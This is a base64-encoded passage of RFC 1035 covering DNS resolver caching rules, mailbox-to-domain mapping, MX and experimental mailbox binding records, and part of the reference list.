GVuIHNldmVyYWwgUlJzIG9mIHRoZSBzYW1lIHR5cGUgYXJlIGF2YWlsYWJsZSBmb3IgYQogICAgIHBhcnRpY3VsYXIgb3duZXIgbmFtZSwgdGhlIHJlc29sdmVyIHNob3VsZCBlaXRoZXIgY2FjaGUgdGhlbQogICAgIGFsbCBvciBub25lIGF0IGFsbC4gIFdoZW4gYSByZXNwb25zZSBpcyB0cnVuY2F0ZWQsIGFuZCBhCiAgICAgcmVzb2x2ZXIgZG9lc24ndCBrbm93IHdoZXRoZXIgaXQgaGFzIGEgY29tcGxldGUgc2V0LCBpdCBzaG91bGQKICAgICBub3QgY2FjaGUgYSBwb3NzaWJseSBwYXJ0aWFsIHNldCBvZiBSUnMuCgogICAtIENhY2hlZCBkYXRhIHNob3VsZCBuZXZlciBiZSB1c2VkIGluIHByZWZlcmVuY2UgdG8KICAgICBhdXRob3JpdGF0aXZlIGRhdGEsIHNvIGlmIGNhY2hpbmcgd291bGQgY2F1c2UgdGhpcyB0byBoYXBwZW4KICAgICB0aGUgZGF0YSBzaG91bGQgbm90IGJlIGNhY2hlZC4KCiAgIC0gVGhlIHJlc3VsdHMgb2YgYW4gaW52ZXJzZSBxdWVyeSBzaG91bGQgbm90IGJlIGNhY2hlZC4KCiAgIC0gVGhlIHJlc3VsdHMgb2Ygc3RhbmRhcmQgcXVlcmllcyB3aGVyZSB0aGUgUU5BTUUgY29udGFpbnMgIioiCiAgICAgbGFiZWxzIGlmIHRoZSBkYXRhIG1pZ2h0IGJlIHVzZWQgdG8gY29uc3RydWN0IHdpbGRjYXJkcy4gIFRoZQogICAgIHJlYXNvbiBpcyB0aGF0IHRoZSBjYWNoZSBkb2VzIG5vdCBuZWNlc3NhcmlseSBjb250YWluIGV4aXN0aW5nCiAgICAgUlJzIG9yIHpvbmUgYm91bmRhcnkgaW5mb3JtYXRpb24gd2hpY2ggaXMgbmVjZXNzYXJ5IHRvCiAgICAgcmVzdHJpY3QgdGhlIGFwcGxpY2F0aW9uIG9mIHRoZSB3aWxkY2FyZCBSUnMuCgogICAtIFJSIGRhdGEgaW4gcmVzcG9uc2VzIG9mIGR1YmlvdXMgcmVsaWFiaWxpdHkuICBXaGVuIGEgcmVzb2x2ZXIKICAgICByZWNlaXZlcyB1bnNvbGljaXRlZCByZXNwb25zZXMgb3IgUlIgZGF0YSBvdGhlciB0aGFuIHRoYXQKICAgICByZXF1ZXN0ZWQsIGl0IHNob3VsZCBkaXNjYXJkIGl0IHdpdGhvdXQgY2FjaGluZyBpdC4gIFRoZSBiYXNpYwogICAgIGltcGxpY2F0aW9uIGlzIHRoYXQgYWxsIHNhbml0eSBjaGVja3Mgb24gYSBwYWNrZXQgc2hvdWxkIGJlCiAgICAgcGVyZm9ybWVkIGJlZm9yZSBhbnkgb2YgaXQgaXMgY2FjaGVkLgoKSW4gYSBzaW1pbGFyIHZlaW4sIHdoZW4gYSByZXNvbHZlciBoYXMgYSBzZXQgb2YgUlJzIGZvciBzb21lIG5hbWUgaW4gYQpyZXNwb25zZSwgYW5kIHdhbnRzIHRvIGNhY2hlIHRoZSBSUnMsIGl0IHNob3VsZCBjaGVjayBpdHMgY2FjaGUgZm9yCmFscmVhZHkgZXhpc3RpbmcgUlJzLiAgRGVwZW5kaW5nIG9uIHRoZSBjaXJjdW1zdGFuY2VzLCBlaXRoZXIgdGhlIGRhdGEKaW4gdGhlIHJlc3BvbnNlIG9yIHRoZSBjYWNoZSBpcyBwcmVmZXJyZWQsIGJ1dCB0aGUgdHdvIHNob3VsZCBuZXZlciBiZQpjb21iaW5lZC4gIElmIHRoZSBkYXRhIGluIHRoZSByZXNwb25zZSBpcyBmcm9tIGF1dGhvcml0YXRpdmUgZGF0YSBpbiB0aGUKYW5zd2VyIHNlY3Rpb24sIGl0IGlzIGFsd2F5cyBwcmVmZXJyZWQuCgo4LiBNQUlMIFNVUFBPUlQKClRoZSBkb21haW4gc3lzdGVtIGRlZmluZXMgYSBzdGFuZGFyZCBmb3IgbWFwcGluZyBtYWlsYm94ZXMgaW50byBkb21haW4KbmFtZXMsIGFuZCB0d28gbWV0aG9kcyBmb3IgdXNpbmcgdGhlIG1haWxib3ggaW5mb3JtYXRpb24gdG8gZGVyaXZlIG1haWwKcm91dGluZyBpbmZvcm1hdGlvbi4gIFRoZSBmaXJzdCBtZXRob2QgaXMgY2FsbGVkIG1haWwgZXhjaGFuZ2UgYmluZGluZwphbmQgdGhlIG90aGVyIG1ldGhvZCBpcyBtYWlsYm94IGJpbmRpbmcuICBUaGUgbWFpbGJveCBlbmNvZGluZyBzdGFuZGFyZAphbmQgbWFpbCBleGNoYW5nZSBiaW5kaW5nIGFyZSBwYXJ0IG9mIHRoZSBETlMgb2ZmaWNpYWwgcHJvdG9jb2wsIGFuZCBhcmUKdGhlIHJlY29tbWVuZGVkIG1ldGhvZCBmb3IgbWFpbCByb3V0aW5nIGluIHRoZSBJbnRlcm5ldC4gIE1haWxib3gKYmluZGluZyBpcyBhbiBleHBlcmltZW50YWwgZmVhdHVyZSB3aGljaCBpcyBzdGlsbCB1bmRlciBkZXZlbG9wbWVudCBhbmQKc3ViamVjdCB0byBjaGFuZ2UuCgoKCgpNb2NrYXBldHJpcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbUGFnZSA0N10KDApSRkMgMTAzNSAgICAgICAgRG9tYWluIEltcGxlbWVudGF0aW9uIGFuZCBTcGVjaWZpY2F0aW9uICAgIE5vdmVtYmVyIDE5ODcKCgpUaGUgbWFpbGJveCBlbmNvZGluZyBzdGFuZGFyZCBhc3N1bWVzIGEgbWFpbGJveCBuYW1lIG9mIHRoZSBmb3JtCiI8bG9jYWwtcGFydD5APG1haWwtZG9tYWluPiIuICBXaGlsZSB0aGUgc3ludGF4IGFsbG93ZWQgaW4gZWFjaCBvZiB0aGVzZQpzZWN0aW9ucyB2YXJpZXMgc3Vic3RhbnRpYWxseSBiZXR3ZWVuIHRoZSB2YXJpb3VzIG1haWwgaW50ZXJuZXRzLCB0aGUKcHJlZmVycmVkIHN5bnRheCBmb3IgdGhlIEFSUEEgSW50ZXJuZXQgaXMgZ2l2ZW4gaW4gW1JGQy04MjJdLgoKVGhlIEROUyBlbmNvZGVzIHRoZSA8bG9jYWwtcGFydD4gYXMgYSBzaW5nbGUgbGFiZWwsIGFuZCBlbmNvZGVzIHRoZQo8bWFpbC1kb21haW4+IGFzIGEgZG9tYWluIG5hbWUuICBUaGUgc2luZ2xlIGxhYmVsIGZyb20gdGhlIDxsb2NhbC1wYXJ0PgppcyBwcmVmYWNlZCB0byB0aGUgZG9tYWluIG5hbWUgZnJvbSA8bWFpbC1kb21haW4+IHRvIGZvcm0gdGhlIGRvbWFpbgpuYW1lIGNvcnJlc3BvbmRpbmcgdG8gdGhlIG1haWxib3guICBUaHVzIHRoZSBtYWlsYm94IEhPU1RNQVNURVJAU1JJLQpOSUMuQVJQQSBpcyBtYXBwZWQgaW50byB0aGUgZG9tYWluIG5hbWUgSE9TVE1BU1RFUi5TUkktTklDLkFSUEEuICBJZiB0aGUKPGxvY2FsLXBhcnQ+IGNvbnRhaW5zIGRvdHMgb3Igb3RoZXIgc3BlY2lhbCBjaGFyYWN0ZXJzLCBpdHMKcmVwcmVzZW50YXRpb24gaW4gYSBtYXN0ZXIgZmlsZSB3aWxsIHJlcXVpcmUgdGhlIHVzZSBvZiBiYWNrc2xhc2gKcXVvdGluZyB0byBlbnN1cmUgdGhhdCB0aGUgZG9tYWluIG5hbWUgaXMgcHJvcGVybHkgZW5jb2RlZC4gIEZvcgpleGFtcGxlLCB0aGUgbWFpbGJveCBBY3Rpb24uZG9tYWluc0BJU0kuRURVIHdvdWxkIGJlIHJlcHJlc2VudGVkIGFzCkFjdGlvblwuZG9tYWlucy5JU0kuRURVLgoKOC4xLiBNYWlsIGV4Y2hhbmdlIGJpbmRpbmcKCk1haWwgZXhjaGFuZ2UgYmluZGluZyB1c2VzIHRoZSA8bWFpbC1kb21haW4+IHBhcnQgb2YgYSBtYWlsYm94CnNwZWNpZmljYXRpb24gdG8gZGV0ZXJtaW5lIHdoZXJlIG1haWwgc2hvdWxkIGJlIHNlbnQuICBUaGUgPGxvY2FsLXBhcnQ+CmlzIG5vdCBldmVuIGNvbnN1bHRlZC4gIFtSRkMtOTc0XSBzcGVjaWZpZXMgdGhpcyBtZXRob2QgaW4gZGV0YWlsLCBhbmQKc2hvdWxkIGJlIGNvbnN1bHRlZCBiZWZvcmUgYXR0ZW1wdGluZyB0byB1c2UgbWFpbCBleGNoYW5nZSBzdXBwb3J0LgoKT25lIG9mIHRoZSBhZHZhbnRhZ2VzIG9mIHRoaXMgbWV0aG9kIGlzIHRoYXQgaXQgZGVjb3VwbGVzIG1haWwKZGVzdGluYXRpb24gbmFtaW5nIGZyb20gdGhlIGhvc3RzIHVzZWQgdG8gc3VwcG9ydCBtYWlsIHNlcnZpY2UsIGF0IHRoZQpjb3N0IG9mIGFub3RoZXIgbGF5ZXIgb2YgaW5kaXJlY3Rpb24gaW4gdGhlIGxvb2t1cCBmdW5jdGlvbi4gIEhvd2V2ZXIsCnRoZSBhZGRpdGlvbiBsYXllciBzaG91bGQgZWxpbWluYXRlIHRoZSBuZWVkIGZvciBjb21wbGljYXRlZCAiJSIsICIhIiwKZXRjIGVuY29kaW5ncyBpbiA8bG9jYWwtcGFydD4uCgpUaGUgZXNzZW5jZSBvZiB0aGUgbWV0aG9kIGlzIHRoYXQgdGhlIDxtYWlsLWRvbWFpbj4gaXMgdXNlZCBhcyBhIGRvbWFpbgpuYW1lIHRvIGxvY2F0ZSB0eXBlIE1YIFJScyB3aGljaCBsaXN0IGhvc3RzIHdpbGxpbmcgdG8gYWNjZXB0IG1haWwgZm9yCjxtYWlsLWRvbWFpbj4sIHRvZ2V0aGVyIHdpdGggcHJlZmVyZW5jZSB2YWx1ZXMgd2hpY2ggcmFuayB0aGUgaG9zdHMKYWNjb3JkaW5nIHRvIGFuIG9yZGVyIHNwZWNpZmllZCBieSB0aGUgYWRtaW5pc3RyYXRvcnMgZm9yIDxtYWlsLWRvbWFpbj4uCgpJbiB0aGlzIG1lbW8sIHRoZSA8bWFpbC1kb21haW4+IElTSS5FRFUgaXMgdXNlZCBpbiBleGFtcGxlcywgdG9nZXRoZXIKd2l0aCB0aGUgaG9zdHMgVkVORVJBLklTSS5FRFUgYW5kIFZBWEEuSVNJLkVEVSBhcyBtYWlsIGV4Y2hhbmdlcyBmb3IKSVNJLkVEVS4gIElmIGEgbWFpbGVyIGhhZCBhIG1lc3NhZ2UgZm9yIE1vY2thcGV0cmlzQElTSS5FRFUsIGl0IHdvdWxkCnJvdXRlIGl0IGJ5IGxvb2tpbmcgdXAgTVggUlJzIGZvciBJU0kuRURVLiAgVGhlIE1YIFJScyBhdCBJU0kuRURVIG5hbWUKVkVORVJBLklTSS5FRFUgYW5kIFZBWEEuSVNJLkVEVSwgYW5kIHR5cGUgQSBxdWVyaWVzIGNhbiBmaW5kIHRoZSBob3N0CmFkZHJlc3Nlcy4KCjguMi4gTWFpbGJveCBiaW5kaW5nIChFeHBlcmltZW50YWwpCgpJbiBtYWlsYm94IGJpbmRpbmcsIHRoZSBtYWlsZXIgdXNlcyB0aGUgZW50aXJlIG1haWwgZGVzdGluYXRpb24Kc3BlY2lmaWNhdGlvbiB0byBjb25zdHJ1Y3QgYSBkb21haW4gbmFtZS4gIFRoZSBlbmNvZGVkIGRvbWFpbiBuYW1lIGZvcgp0aGUgbWFpbGJveCBpcyB1c2VkIGFzIHRoZSBRTkFNRSBmaWVsZCBpbiBhIFFUWVBFPU1BSUxCIHF1ZXJ5LgoKU2V2ZXJhbCBvdXRjb21lcyBhcmUgcG9zc2libGUgZm9yIHRoaXMgcXVlcnk6CgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDQ4XQoMClJGQyAxMDM1ICAgICAgICBEb21haW4gSW1wbGVtZW50YXRpb24gYW5kIFNwZWNpZmljYXRpb24gICAgTm92ZW1iZXIgMTk4NwoKCiAgIDEuIFRoZSBxdWVyeSBjYW4gcmV0dXJuIGEgbmFtZSBlcnJvciBpbmRpY2F0aW5nIHRoYXQgdGhlIG1haWxib3gKICAgICAgZG9lcyBub3QgZXhpc3QgYXMgYSBkb21haW4gbmFtZS4KCiAgICAgIEluIHRoZSBsb25nIHRlcm0sIHRoaXMgd291bGQgaW5kaWNhdGUgdGhhdCB0aGUgc3BlY2lmaWVkCiAgICAgIG1haWxib3ggZG9lc24ndCBleGlzdC4gIEhvd2V2ZXIsIHVudGlsIHRoZSB1c2Ugb2YgbWFpbGJveAogICAgICBiaW5kaW5nIGlzIHVuaXZlcnNhbCwgdGhpcyBlcnJvciBjb25kaXRpb24gc2hvdWxkIGJlCiAgICAgIGludGVycHJldGVkIHRvIG1lYW4gdGhhdCB0aGUgb3JnYW5pemF0aW9uIGlkZW50aWZpZWQgYnkgdGhlCiAgICAgIGdsb2JhbCBwYXJ0IGRvZXMgbm90IHN1cHBvcnQgbWFpbGJveCBiaW5kaW5nLiAgVGhlCiAgICAgIGFwcHJvcHJpYXRlIHByb2NlZHVyZSBpcyB0byByZXZlcnQgdG8gZXhjaGFuZ2UgYmluZGluZyBhdAogICAgICB0aGlzIHBvaW50LgoKICAgMi4gVGhlIHF1ZXJ5IGNhbiByZXR1cm4gYSBNYWlsIFJlbmFtZSAoTVIpIFJSLgoKICAgICAgVGhlIE1SIFJSIGNhcnJpZXMgbmV3IG1haWxib3ggc3BlY2lmaWNhdGlvbiBpbiBpdHMgUkRBVEEKICAgICAgZmllbGQuICBUaGUgbWFpbGVyIHNob3VsZCByZXBsYWNlIHRoZSBvbGQgbWFpbGJveCB3aXRoIHRoZQogICAgICBuZXcgb25lIGFuZCByZXRyeSB0aGUgb3BlcmF0aW9uLgoKICAgMy4gVGhlIHF1ZXJ5IGNhbiByZXR1cm4gYSBNQiBSUi4KCiAgICAgIFRoZSBNQiBSUiBjYXJyaWVzIGEgZG9tYWluIG5hbWUgZm9yIGEgaG9zdCBpbiBpdHMgUkRBVEEKICAgICAgZmllbGQuICBUaGUgbWFpbGVyIHNob3VsZCBkZWxpdmVyIHRoZSBtZXNzYWdlIHRvIHRoYXQgaG9zdAogICAgICB2aWEgd2hhdGV2ZXIgcHJvdG9jb2wgaXMgYXBwbGljYWJsZSwgZS5nLiwgYixTTVRQLgoKICAgNC4gVGhlIHF1ZXJ5IGNhbiByZXR1cm4gb25lIG9yIG1vcmUgTWFpbCBHcm91cCAoTUcpIFJScy4KCiAgICAgIFRoaXMgY29uZGl0aW9uIG1lYW5zIHRoYXQgdGhlIG1haWxib3ggd2FzIGFjdHVhbGx5IGEgbWFpbGluZwogICAgICBsaXN0IG9yIG1haWwgZ3JvdXAsIHJhdGhlciB0aGFuIGEgc2luZ2xlIG1haWxib3guICBFYWNoIE1HIFJSCiAgICAgIGhhcyBhIFJEQVRBIGZpZWxkIHRoYXQgaWRlbnRpZmllcyBhIG1haWxib3ggdGhhdCBpcyBhIG1lbWJlcgogICAgICBvZiB0aGUgZ3JvdXAuICBUaGUgbWFpbGVyIHNob3VsZCBkZWxpdmVyIGEgY29weSBvZiB0aGUKICAgICAgbWVzc2FnZSB0byBlYWNoIG1lbWJlci4KCiAgIDUuIFRoZSBxdWVyeSBjYW4gcmV0dXJuIGEgTUIgUlIgYXMgd2VsbCBhcyBvbmUgb3IgbW9yZSBNRyBSUnMuCgogICAgICBUaGlzIGNvbmRpdGlvbiBtZWFucyB0aGUgdGhlIG1haWxib3ggd2FzIGFjdHVhbGx5IGEgbWFpbGluZwogICAgICBsaXN0LiAgVGhlIG1haWxlciBjYW4gZWl0aGVyIGRlbGl2ZXIgdGhlIG1lc3NhZ2UgdG8gdGhlIGhvc3QKICAgICAgc3BlY2lmaWVkIGJ5IHRoZSBNQiBSUiwgd2hpY2ggd2lsbCBpbiB0dXJuIGRvIHRoZSBkZWxpdmVyeSB0bwogICAgICBhbGwgbWVtYmVycywgb3IgdGhlIG1haWxlciBjYW4gdXNlIHRoZSBNRyBSUnMgdG8gZG8gdGhlCiAgICAgIGV4cGFuc2lvbiBpdHNlbGYuCgpJbiBhbnkgb2YgdGhlc2UgY2FzZXMsIHRoZSByZXNwb25zZSBtYXkgaW5jbHVkZSBhIE1haWwgSW5mb3JtYXRpb24KKE1JTkZPKSBSUi4gIFRoaXMgUlIgaXMgdXN1YWxseSBhc3NvY2lhdGVkIHdpdGggYSBtYWlsIGdyb3VwLCBidXQgaXMKbGVnYWwgd2l0aCBhIE1CLiAgVGhlIE1JTkZPIFJSIGlkZW50aWZpZXMgdHdvIG1haWxib3hlcy4gIE9uZSBvZiB0aGVzZQppZGVudGlmaWVzIGEgcmVzcG9uc2libGUgcGVyc29uIGZvciB0aGUgb3JpZ2luYWwgbWFpbGJveCBuYW1lLiAgVGhpcwptYWlsYm94IHNob3VsZCBiZSB1c2VkIGZvciByZXF1ZXN0cyB0byBiZSBhZGRlZCB0byBhIG1haWwgZ3JvdXAsIGV0Yy4KVGhlIHNlY29uZCBtYWlsYm94IG5hbWUgaW4gdGhlIE1JTkZPIFJSIGlkZW50aWZpZXMgYSBtYWlsYm94IHRoYXQgc2hvdWxkCnJlY2VpdmUgZXJyb3IgbWVzc2FnZXMgZm9yIG1haWwgZmFpbHVyZXMuICBUaGlzIGlzIHBhcnRpY3VsYXJseQphcHByb3ByaWF0ZSBmb3IgbWFpbGluZyBsaXN0cyB3aGVuIGVycm9ycyBpbiBtZW1iZXIgbmFtZXMgc2hvdWxkIGJlCnJlcG9ydGVkIHRvIGEgcGVyc29uIG90aGVyIHRoYW4gdGhlIG9uZSB3aG8gc2VuZHMgYSBtZXNzYWdlIHRvIHRoZSBsaXN0LgoKCgpNb2NrYXBldHJpcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbUGFnZSA0OV0KDApSRkMgMTAzNSAgICAgICAgRG9tYWluIEltcGxlbWVudGF0aW9uIGFuZCBTcGVjaWZpY2F0aW9uICAgIE5vdmVtYmVyIDE5ODcKCgpOZXcgZmllbGRzIG1heSBiZSBhZGRlZCB0byB0aGlzIFJSIGluIHRoZSBmdXR1cmUuCgoKOS4gUkVGRVJFTkNFUyBhbmQgQklCTElPR1JBUEhZCgpbRHllciA4N10gICAgICAgUy4gRHllciwgRi4gSHN1LCAiSGVzaW9kIiwgUHJvamVjdCBBdGhlbmEKICAgICAgICAgICAgICAgIFRlY2huaWNhbCBQbGFuIC0gTmFtZSBTZXJ2aWNlLCBBcHJpbCAxOTg3LCB2ZXJzaW9uIDEuOS4KCiAgICAgICAgICAgICAgICBEZXNjcmliZXMgdGhlIGZ1bmRhbWVudGFscyBvZiB0aGUgSGVzaW9kIG5hbWUgc2VydmljZS4KCltJRU4tMTE2XSAgICAgICBKLiBQb3N0ZWwsICJJbnRlcm5ldCBOYW1lIFNlcnZlciIsIElFTi0xMTYsCiAgICAgICAgICAgICAgICBVU0MvSW5mb3JtYXRpb24gU2NpZW5jZXMgSW5zdGl0dXRlLCBBdWd1c3QgMTk3OS4KCiAgICAgICAgICAgICAgICBBIG5hbWUgc2VydmljZSBvYnNvbGV0ZWQgYnkgdGhlIERvbWFpbiBOYW1lIFN5c3RlbSwgYnV0CiAgICAgICAgICAgICAgICBzdGlsbCBpbiB1c2UuCgpbUXVhcnRlcm1hbiA4Nl0gSi4gUXVhcnRlcm1hbiwgYW5kIEouIEhvc2tpbnMsICJOb3RhYmxlIENvbXB1dGVyIE5ldHdvcmtzIiwKICAgICAgICAgICAgICAgIENvbW11bmljYXRpb25zIG9mIHRoZSBBQ00sIE9jdG9iZXIgMTk4Niwgdm9sdW1lIDI5LCBudW1iZXIKICAgICAgICAgICAgICAgIDEwLgoKW1JGQy03NDJdICAgICAgIEsuIEhhcnJlbnN0aWVuLCAiTkFNRS9GSU5HRVIiLCBSRkMtNzQyLCBOZXR3b3JrCiAgICAgICAgICAgICAgICBJbmZvcm1hdGlvbiBDZW50ZXIsIFNSSSBJbnRlcm5hdGlvbmFsLCBEZWNlbWJlciAxOTc3LgoKW1JGQy03NjhdICAgICAgIEouIFBvc3RlbCwgIlVzZXIgRGF0YWdyYW0gUHJvdG9jb2wiLCBSRkMtNzY4LAogICAgICAgICAgICAgICAgVVNDL0luZm9ybWF0aW9uIFNjaWVuY2VzIEluc3RpdHV0ZSwgQXVndXN0IDE5ODAuCgpbUkZDLTc5M10gICAgICAgSi4gUG9zdGVsLCAiVHJhbnNtaXNzaW9uIENvbnRyb2wgUHJvdG9jb2wiLCBSRkMtNzkzLAogICAgICAgICAgICAgICAgVVNDL0luZm9ybWF0aW9uIFNjaWVuY2VzIEluc3RpdHV0ZSwgU2VwdGVtYmVyIDE5ODEuCgpbUkZDLTc5OV0gICAgICAgRC4gTWlsbHMsICJJbnRlcm5ldCBOYW1lIERvbWFpbnMiLCBSRkMtNzk5LCBDT01TQVQsCiAgICAgICAgICAgICAgICBTZXB0ZW1iZXIgMTk4MS4KCiAgICAgICAgICAgICAgICBTdWdnZXN0cyBpbnRyb2R1Y3Rpb24gb2YgYSBoaWVyYXJjaHkgaW4gcGxhY2Ugb2YgYSBmbGF0CiAgICAgICAgICAgICAgICBuYW1lIHNwYWNlIGZvciB0aGUgSW50ZXJuZXQuCgpbUkZDLTgwNV0gICAgICAgSi4gUG9zdGVsLCAiQ29tcHV0ZXIgTWFpbCBNZWV0aW5nIE5vdGVzIiwgUkZDLTgwNSwKICAgICAgICAgICAgICAgIFVTQy9JbmZvcm1hdGlvbiBTY2llbmNlcyBJbnN0aXR1dGUsIEZlYnJ1YXJ5IDE5ODIuCgpbUkZDLTgxMF0gICAgICAgRS4gRmVpbmxlciwgSy4gSGFycmVuc3RpZW4sIFouIFN1LCBhbmQgVi4gV2hpdGUsICJET0QKICAgICAgICAgICAgICAgIEludGVybmV0IEhvc3QgVGFibGUgU3BlY2lmaWNhdGlvbiIsIFJGQy04MTAsIE5ldHdvcmsKICAgICAgICAgICAgICAgIEluZm9ybWF0aW9uIENlbnRlciwgU1JJIEludGVybmF0aW9uYWwsIE1hcmNoIDE5ODIuCgogICAgICAgICAgICAgICAgT2Jzb2xldGUuICBTZWUgUkZDLTk1Mi4KCltSRkMtODExXSAgICAgICBLLiBIYXJyZW5zdGllbiwgVi4gV2hpdGUsIGFuZCBFLiBGZWlubGVyLCAiSG9zdG5hbWVzCiAgICAgICAgICAgICAgICBTZXJ2ZXIiLCBSRkMtODExLCBOZXR3b3JrIEluZm9ybWF0aW9uIENlbnRlciwgU1JJCiAgICAgICAgICAgICAgICBJbnRlcm5hdGlvbmFsLCBNYXJjaCAxOTgyLgoKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgNTBdCgwKUkZDIDEwMzUgICAgICAgIERvbWFpbiBJbXBsZW1lbnRhdGlvbiBhbmQgU3BlY2lmaWNhdGlvbiAgICBOb3ZlbWJlciAxOTg3CgoKICAgICAgICAgICAgICAgIE9ic29sZXRlLiAgU2VlIFJGQy05NTMuCgpbUkZDLTgxMl0gICAgICAgSy4gSGFycmVuc3RpZW4sIGFuZCBWLiBXaGl0ZSwgIk5JQ05BTUUvV0hPSVMiLCBSRkMtODEyLAogICAgICAgICAgICAgICAgTmV0d29yayBJbmZvcm1hdGlvbiBDZW50ZXIsIFNSSSBJbnRlcm5hdGlvbmFsLCBNYXJjaAogICAgICAgICAgICAgICAgMTk4Mi4KCltSRkMtODE5XSAgICAgICBaLiBTdSwgYW5kIEouIFBvc3RlbCwgIlRoZSBEb21haW4gTmFtaW5nIENvbnZlbnRpb24gZm9yCiAgICAgICAgICAgICAgICBJbnRlcm5ldCBVc2VyIEFwcGxpY2F0aW9ucyIsIFJGQy04MTksIE5ldHdvcmsKICAgICAgICAgICAgICAgIEluZm9ybWF0aW9uIENlbnRlciwgU1JJIEludGVybmF0aW9uYWwsIEF1Z3VzdCAxOTgyLgoKICAgICAgICAgICAgICAgIEVhcmx5IHRob3VnaHRzIG9uIHRoZSBkZXNpZ24gb2YgdGhlIGRvbWFpbiBzeXN0ZW0uCiAgICAgICAgICAgICAgICBDdXJyZW50IGltcGxlbWVudGF0aW9uIGlzIGNvbXBsZXRlbHkgZGlmZmVyZW50LgoKW1JGQy04MjFdICAgICAgIEouIFBvc3RlbCwgIlNpbXBsZSBNYWlsIFRyYW5zZmVyIFByb3RvY29sIiwgUkZDLTgyMSwKICAgICAgICAgICAgICAgIFVTQy9JbmZvcm1hdGlvbiBTY2llbmNlcyBJbnN0aXR1dGUsIEF1Z3VzdCAxOTgwLgoKW1JGQy04MzBdICAgICAgIFouIFN1LCAiQSBEaXN0cmlidXRlZCBTeXN0ZW0gZm9yIEludGVybmV0IE5hbWUgU2VydmljZSIsCiAgICAgICAgICAgICAgICBSRkMtODMwLCBOZXR3b3JrIEluZm9ybWF0aW9uIENlbnRlciwgU1JJIEludGVybmF0aW9uYWwsCiAgICAgICAgICAgICAgICBPY3RvYmVyIDE5ODIuCgogICAgICAgICAgICAgICAgRWFybHkgdGhvdWdodHMgb24gdGhlIGRlc2lnbiBvZiB0aGUgZG9tYWluIHN5c3RlbS4KICAgICAgICAgICAgICAgIEN1cnJlbnQgaW1wbGVtZW50YXRpb24gaXMgY29tcGxldGVseSBkaWZmZXJlbnQuCgpbUkZDLTg4Ml0gICAgICAgUC4gTW9ja2FwZXRyaXMsICJEb21haW4gbmFtZXMgLSBDb25jZXB0cyBhbmQKICAgICAgICAgICAgICAgIEZhY2lsaXRpZXMsIiBSRkMtODgyLCBVU0MvSW5mb3JtYXRpb24gU2NpZW5jZXMKICAgICAgICAgICAgICAgIEluc3RpdHV0ZSwgTm92ZW1iZXIgMTk4My4KCiAgICAgICAgICAgICAgICBTdXBlcmNlZWRlZCBieSB0aGlzIG1lbW8uCgpbUkZDLTg4M10gICAgICAgUC4gTW9ja2FwZXRyaXMsICJEb21haW4gbmFtZXMgLSBJbXBsZW1lbnRhdGlvbiBhbmQKICAgICAgICAgICAgICAgIFNwZWNpZmljYXRpb24sIiBSRkMtODgzLCBVU0MvSW5mb3JtYXRpb24gU2NpZW5jZXMKICAgICAgICAgICAgICAgIEluc3RpdHV0ZSwgTm92ZW1iZXIgMTk4My4KCiAgICAgICAgICAgICAgICBTdXBlcmNlZWRlZCBieSB0aGlzIG1lbW8uCgpbUkZDLTkyMF0gICAgICAgSi4gUG9zdGVsIGFuZCBKLiBSZXlub2xkcywgIkRvbWFpbiBSZXF1aXJlbWVudHMiLAogICAgICAgICAgICAgICAgUkZDLTkyMCwgVVNDL0luZm9ybWF0aW9uIFNjaWVuY2VzIEluc3RpdHV0ZSwKICAgICAgICAgICAgICAgIE9jdG9iZXIgMTk4NC4KCiAgICAgICAgICAgICAgICBFeHBsYWlucyB0aGUgbmFtaW5nIHNjaGVtZSBmb3IgdG9wIGxldmVsIGRvbWFpbnMuCgpbUkZDLTk1Ml0gICAgICAgSy4gSGFycmVuc3RpZW4sIE0uIFN0YWhsLCBFLiBGZWlubGVyLCAiRG9EIEludGVybmV0IEhvc3QKICAgICAgICAgICAgICAgIFRhYmxlIFNwZWNpZmljYXRpb24iLCBSRkMtOTUyLCBTUkksIE9jdG9iZXIgMTk4NS4KCiAgICAgICAgICAgICAgICBTcGVjaWZpZXMgdGhlIGZvcm1hdCBvZiBIT1NUUy5UWFQsIHRoZSBob3N0L2FkZHJlc3MKICAgICAgICAgICAgICAgIHRhYmxlIHJlcGxhY2VkIGJ5IHRoZSBETlMuCgoKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgNTFdCgwKUkZDIDEwMzUgICAgICAgIERvbWFpbiBJbXBsZW1lbnRhdGlvbiBhbmQgU3BlY2lmaWNhdGlvbiAgICBOb3ZlbWJlciAxOTg3CgoKW1JGQy05NTNdICAgICAgIEsuIEhhcnJlbnN0aWVuLCBNLiBTdGFobCwgRS4gRmVpbmxlciwgIkhPU1ROQU1FIFNlcnZlciIsCiAgICAgICAgICAgICAgICBSRkMtOTUzLCBTUkksIE9jdG9iZXIgMTk4NS4KCiAgICAgICAgICAgICAgICBUaGlzIFJGQyBjb250YWlucyB0aGUgb2ZmaWNpYWwgc3BlY2lmaWNhdGlvbiBvZiB0aGUKICAgICAgICAgICAgICAgIGhvc3RuYW1lIHNlcnZlciBwcm90b2NvbCwgd2hpY2ggaXMgb2Jzb2xldGVkIGJ5IHRoZSBETlMuCiAgICAgICAgICAgICAgICBUaGlzIFRDUCBiYXNlZCBwcm90b2NvbCBhY2Nlc3NlcyBpbmZvcm1hdGlvbiBzdG9yZWQgaW4KICAgICAgICAgICAgICAgIHRoZSBSRkMtOTUyIGZvcm1hdCwgYW5kIGlzIHVzZWQgdG8gb2J0YWluIGNvcGllcyBvZiB0aGUKICAgICAgICAgICAgICAgIGhvc3QgdGFibGUuCgpbUkZDLTk3M10gICAgICAgUC4gTW9ja2FwZXRyaXMsICJEb21haW4gU3lzdGVtIENoYW5nZXMgYW5kCiAgICAgICAgICAgICAgICBPYnNlcnZhdGlvbnMiLCBSRkMtOTczLCBVU0MvSW5mb3JtYXRpb24gU2NpZW5jZXMKICAgICAgICAgICAgICAgIEluc3RpdHV0ZSwgSmFudWFyeSAxOTg2LgoKICAgICAgICAgICAgICAgIERlc2NyaWJlcyBjaGFuZ2VzIHRvIFJGQy04ODIgYW5kIFJGQy04ODMgYW5kIHJlYXN